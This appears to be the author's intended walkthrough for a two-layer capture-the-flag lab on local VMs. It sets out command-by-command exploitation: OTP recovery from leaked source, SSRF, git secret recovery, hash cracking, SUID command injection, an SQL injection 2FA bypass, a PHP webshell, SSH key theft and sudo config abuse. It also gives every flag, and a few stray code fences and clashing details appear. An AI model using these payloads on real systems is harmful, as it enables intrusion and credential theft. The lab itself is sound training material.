VERIDIAN WASTE SOLUTIONS - TWO-LAYER CTF LAB
INTENDED WORKING WALKTHROUGH (plain text)

Lab topology
  Layer 1 Veridian Operations Portal http://192.168.56.102   (VirtualBox VM)
  Layer 2 WasteCo Owner Panel   http://192.168.56.50   (nested QEMU VM inside Layer 1)
  Flags   4 in total, 2 per layer (one user flag, one root flag per layer)

Starting the lab
  1. Import the OVA into VirtualBox and start the VM (CTF-Debian13).
  2. Log in on the console as user "ctf" (password "ctf").
  3. Layer 1 is already up (nginx on 192.168.56.102).
  4. Layer 2 must be started by hand: sudo /root/launch
     TCG emulation is slow, give it 40-120 seconds, then check
     curl -s -o /dev/null -w '%{http_code}' http://192.168.56.50/login.php   -> 200
     sudo /root/launch stop   stops only the inner VM, Layer 1 stays up.

==
LAYER 1 - VERIDIAN OPERATIONS PORTAL
==

1. RECON
   - Open http://192.168.56.102/ : a waste-management corporate site.
   - /login.php asks for THREE one-time codes, labelled OTP 1, OTP 2, OTP 3.
   - No credentials are given anywhere. The codes look unguessable.

2. BREAK THE OTP (source disclosure, not brute force)
   - The generator source is downloadable:
     http://192.168.56.102/otp/otp_generator.php.bak
   - It documents the whole scheme:
       OTP_SEED   = 'veridian-ops-2026-q3-rotary-alpha'
       BUCKET_SECONDS   = 900   (codes roll every 15 minutes)
       FOLD_MODULUS   = 1000003
       FOLD_MULTIPLIER = 251
     Algorithm, per slot s in 1,2,3:
       digest = SHA256(seed . '|' . bucket . '|' . s)   raw 32 bytes
       acc = 0
       for each byte: acc = (acc * 251 + byte) mod 1000003
       code = (acc mod 1000000) printed as 6 zero-padded digits
     bucket = floor(unixtime / 900)
   - Reimplement in a few lines of python, compute the three codes,
     submit them on /login.php -> HTTP 302 to /dashboard.php.

3. DASHBOARD - READ THE RETRIEVAL LOG
   - The dashboard shows a "retrieval log" of past document fetches.
   - All rows look identical; the story is in the entries themselves:
       .git/HEAD, .git/config, .git/logs/HEAD fetched from the webroot
       git-upload-pack run against a local mirror
       external fetches to code.veridianwaste.example failing with 504
       the env file size changing 533 b -> 912 b (a scrub happened)
   - Conclusion to draw: the deploy config was exposed, someone cloned
     the git repo, then the file was scrubbed. The repo may still be up.

4. SSRF TO THE DEPLOY CONFIG
   - The "compliance document retrieval" panel on the dashboard takes a
     path and fetches it server-side (action=retrieve on dashboard.php).
   - Read: /var/www/.ops-staging/veridian_deploy.env
   - The file is real but the password has been scrubbed. What remains:
     DB host/user/name, and hints pointing at the repository and the
     access logs. Enough to know WHAT existed, not the secret itself.

5. GIT HISTORY - RECOVER THE SCRUBBED SECRET
   - /.git is reachable over HTTP (nginx explicitly allows it before the
     generic dotfile deny).
   - git clone http://192.168.56.102/.git

```
   - HEAD is clean: the current .env has no password.
   - git log -p --all -- deploy/veridian_deploy.env
     An old commit (5e26d7f, the first one) contains the ORIGINAL env
     file WITH  DB_PASSWORD=...  <- take it.

6. DATABASE - GET THE PASSWORD HASHES
   - mysql -h 192.168.56.102 -u <user from env> -p<recovered password>
   - SELECT username, role, status, password FROM users;
   - The password column holds bcrypt hashes ($2y$10$...). Four rows,
     three active (status=1).

7. CRACK THE HASHES (designed to be easy)
   - john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt
   - By design all three active hashes are extremely common words,
     cracked in seconds:
       m.whitfield -> secret
       d.okafor    -> dragon
       toms        -> letmein

8. SSH IN - LAYER 1 USER FLAG
   - The DB users are also OS users; passwords are reused.
   - ssh toms@192.168.56.102   (password: letmein)
   - /home/toms/flag.txt
     -> VERIDIAN{pr1v4sc_1nt3rm14t3_t0ms_4cc3ss}

9. PRIVESC TO LAYER 1 ROOT (a DIFFERENT bug class than Layer 2)
   - sudo -l  -> nothing useful (a password is required).
   - Look for SUID binaries: find / -perm -4000 2>/dev/null
     -> /opt/ops/docstore   (SUID root)
   - The binary builds a shell command that includes its label argument
     unescaped and runs it with system(). Command/label injection.
   - Payload (note: the injected command is run from the FIRST argument,
     a label that gets placed into a system() string):
       /opt/ops/docstore 'x; cp /bin/bash /home/toms/.r; chmod 4755 /home/toms/.r; rm -f /var/backups/docs
   - Why home and not /tmp: /tmp is mounted nosuid on this VM.
   - Use it with -p so the euid stays 0:
       /home/toms/.r -p -c 'id; cat /root/root.txt'
     -> uid=1001(toms) ... euid=0(root)
     -> VERIDIAN{c4p4b1l1t13s_4r3_4w3s0m3_r00t_4cc3ss_gr4nt3d}
   - Clean up: rm -f /home/toms/.r

Layer 1 complete: 2 flags.

================================================================
LAYER 2 - WASTECO OWNER PANEL (nested VM)
================================================================

0. REACHABILITY
   - The inner VM is only reachable on the host-only network
     (192.168.56.0/24). No port forwarding exists, by design.
   - VM1 proxy-ARPs for 192.168.56.50 and bridges it through br1/tap0.

1. RECON
   - http://192.168.56.50/login.php : "WasteCo owner panel".
   - Email + password form, plus a hidden field trusted_device=0.
   - /2fa.php asks for a 6-digit authenticator code. Submitting anything
     always returns "Invalid authentication code." - the secret is held
     by the fleet team and is NEVER disclosed. The 2FA page is a dead
     end ON PURPOSE; it must be bypassed, not solved.

2. SQL INJECTION + TRUSTED DEVICE BYPASS
   - POST /login.php
       email=' or 1=1--      (any password)
       trusted_device=1
   - The email is interpolated into:
```

```
       SELECT ... WHERE email = '$email' AND pass_hash = '$pass'
     so the tautology returns the first user row.
   - trusted_device=1 sets session[full]=1, which skips 2FA entirely
     and redirects to /admin/. Without it you land on the dead 2FA page.
   - In a browser the form blocks this (type=email + hidden field), so
     use curl or the devtools console to send the POST.

3. ADMIN PANEL -> AUTOMATION HOOK = WEBSHELL
   - Settings -> Automation module: press "Enable module"
     (creates storage/automation.on).
   - The hook editor now appears. It warns: code entered here is
     executed on every request. Save:
       <?php if(isset($_GET["c"])){system($_GET["c"]);} ?>
     (POST action=save_hook -> written to storage/hooks.php, which
     bootstrap.php includes on EVERY request.)
   - Trigger it on any page:  http://192.168.56.50/login.php?c=id
     -> uid=1001(www-data)

4. STEAL THE SSH KEY THROUGH THE SHELL
   - /var/www/html/wasteco/storage/keys/id_rsa is world-readable on disk
     but /storage/* is denied over HTTP by nginx (403), so it must be
     read through the webshell:
       curl 'http://192.168.56.50/login.php?c=base64%20/var/www/html/wasteco/storage/keys/id_rsa'
     Take only the leading base64 block (the page HTML follows it),
     decode, save as id_rsa, chmod 600.

5. CRACK THE KEY PASSPHRASE
   - ssh2john id_rsa > id_rsa.john
   - john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.john
   - -> trustno1  (about 10 seconds, it is a famous rockyou word)

6. SSH IN - LAYER 2 USER FLAG
   - ssh -i id_rsa john@192.168.56.50     (passphrase: trustno1)
   - /home/john/user.txt
     -> VERIDIAN{fr0m_www_d4t4_70_j0hn}

7. PRIVESC TO LAYER 2 ROOT (writable config sourcing)
   - sudo -l
     -> (root) NOPASSWD: /opt/wasteco/bin/nightly_report.sh
   - That script starts with:
       . /opt/wasteco/etc/report.conf
     and report.conf is owned by john, mode 664 - writable.
   - Overwrite it (busybox has no reliable sed -i here, just cat >):
       REPORT_NAME="nightly-fleet"
       SCAN_ROOT="/var/log"
       cp /bin/bash /home/john/.r && chmod 4755 /home/john/.r
   - sudo /opt/wasteco/bin/nightly_report.sh      (runs sourced lines as root)
   - /home/john/.r -p -c 'id; cat /root/root.txt'
     -> euid=0(root)
     -> VERIDIAN{tw0_l4y3rs_0n3_0wn3r}
   - Clean up: restore report.conf, rm -f /home/john/.r
     (/tmp is sticky on this VM too - keep the shell in the home dir.)

Layer 2 complete: 2 flags. Lab complete: 4 flags.

================================================================
DESIGN NOTES AND QUIRKS (intended behaviour, not bugs)
================================================================
- The two layers use DIFFERENT privesc bug classes on purpose:
  Layer 1 = SUID command/label injection, Layer 2 = writable config sourcing.
- /storage/* on Layer 2 answers 403 to HTTP on purpose: the key must be
  read through the webshell, not fetched directly.
- Layer 2 2FA rejects everything on purpose (secret never disclosed).
- DB passwords are bcrypt hashes of very common rockyou words so the
  crack stage always succeeds quickly.
```

- OTP codes are a pure function of published constants: anyone holding
  the .bak source can compute them offline. That is the intended flaw.
- The inner VM has no port forwarding: it is only reachable from the
  host-only network, so the host must be ON that network to play Layer 2.
- Inner VM is busybox-based: sed -i misbehaves under the setuid shell,
  /tmp is sticky and nosuid - create privilege shells in the user home.